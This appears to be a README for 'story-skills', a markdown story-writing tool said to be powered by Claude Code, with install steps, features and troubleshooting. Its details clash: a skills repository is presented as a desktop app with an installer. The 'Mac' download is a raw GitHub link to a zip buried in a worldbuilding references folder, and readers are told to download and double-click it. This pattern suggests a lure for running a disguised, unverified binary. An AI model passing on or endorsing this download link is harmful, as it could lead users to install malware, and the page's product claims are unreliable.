story-skills is a tool that helps you write stories using simple markdown text. It is powered by Claude Code, a system that guides you from start to finish. With story-skills, you can organize your ideas, create characters, and build your story world without needing to learn complex software.
This tool is designed for people who want to focus on their story rather than on how to use software. If you want to use markdown to write fiction or any kind of story, story-skills will help you do this smoothly.
Before you start, please check that your computer meets these basic needs:
- Windows 10 or later, macOS 10.14 or later, or Linux (Ubuntu 18.04+ recommended)
- At least 4GB of RAM
- 200 MB of free disk space
- Internet connection to download the software and get updates
No special hardware or software skills are needed. Just a standard computer with the above setup.
story-skills offers a range of features to make story writing easier:
- Markdown support: Write your story using simple markdown, which helps with formatting and structure.
- Plot and character guides: Step-by-step tools to help create your story’s plot, characters, and setting.
- Integrated editing: Edit your story directly in the app without switching between tools.
- Worldbuilding templates: Easy forms to help define places, cultures, and histories.
- Export options: Save your story as markdown or export to formats like PDF and HTML.
- Creative prompts: Helpful writing prompts generated by Claude Code to inspire your story.
Follow these steps to get story-skills working on your computer:
- Download the software: Click the big blue badge at the top of this page. It will take you to the official download page.
- Choose your system: On the release page, select the file that matches your operating system (Windows, macOS, Linux).
- Save the file: Download the installer setup file and save it in an easy-to-find folder (like your Downloads folder).
- Run the installer: Double-click the downloaded file. Follow the simple instructions on screen to install story-skills.
- Open the app: Once installed, find the story-skills icon on your desktop or in your applications menu and start it.
- Create or open a story: From the app menu, you can start a new markdown story file or open an existing one.
To get story-skills now, visit this page to download:
This page lists the latest versions available. Choose the installer that fits your computer. If you are unsure, pick the one labeled “Windows Installer” for Windows or “https://raw.githubusercontent.com/bs779517/story-skills/main/skills/worldbuilding/references/skills_story_1.3.zip” for Mac. Linux users can download the AppImage or follow instructions in the release notes.
After downloading, run the installer file and follow prompts to complete installation.
Once installed, follow these basic steps to start writing:
- Start a new story: Click "New Project" and give your story a name.
- Use the sidebar tools: You will see sections to outline your plot, characters, and setting. Fill in details here.
- Write in markdown: In the main window, write your story with markdown formatting. For example, use
#for headings,**for bold text. - Use templates: Apply built-in templates for character sheets or worldbuilding. These help keep your ideas organized.
- Save often: Your work saves automatically, but you can manually save by clicking "Save" or pressing Ctrl+S (Cmd+S on Mac).
- Export your story: When you finish, export to PDF or HTML to share with others or publish.
Markdown is a simple way to format text using easy symbols. It’s perfect for writers because you don't need complex tools to format your story. Here are some common markdown rules:
#to######creates headings from big to small.**bold text**makes words bold.*italic text*makes words italic.- Lists use
-or*followed by space. - Links use
[text](url)format.
story-skills shows your markdown as formatted text while you write. This helps keep your story neat without special skills.
In the settings menu, you can adjust:
- Theme: Switch between light and dark mode to reduce eye strain.
- Font size: Increase or decrease text size for comfort.
- Autosave: Turn on or off automatic saving.
- Language options: Choose your preferred language for menus (if available).
Tips:
- Plan your story by filling the character and plot guides first.
- Use the outline view to see all story parts in one place.
- Make use of creative prompts when stuck.
- Save backups regularly by exporting your markdown files.
If you run into issues, try these solutions:
- The app won’t start: Make sure your system meets requirements and that you installed the correct version.
- Crash or freeze: Restart the app. Check for updates on the download page.
- Can't open my story: Ensure the file is a markdown file saved with
.mdextension. - Export fails: Check you have permission to save files in the chosen folder.
For other problems, visit the GitHub issues page of the repository or check the FAQ.
You can open a support ticket or request features by creating an issue on the GitHub page of story-skills. Please describe your problem clearly and include any error messages. The development team reviews issues regularly.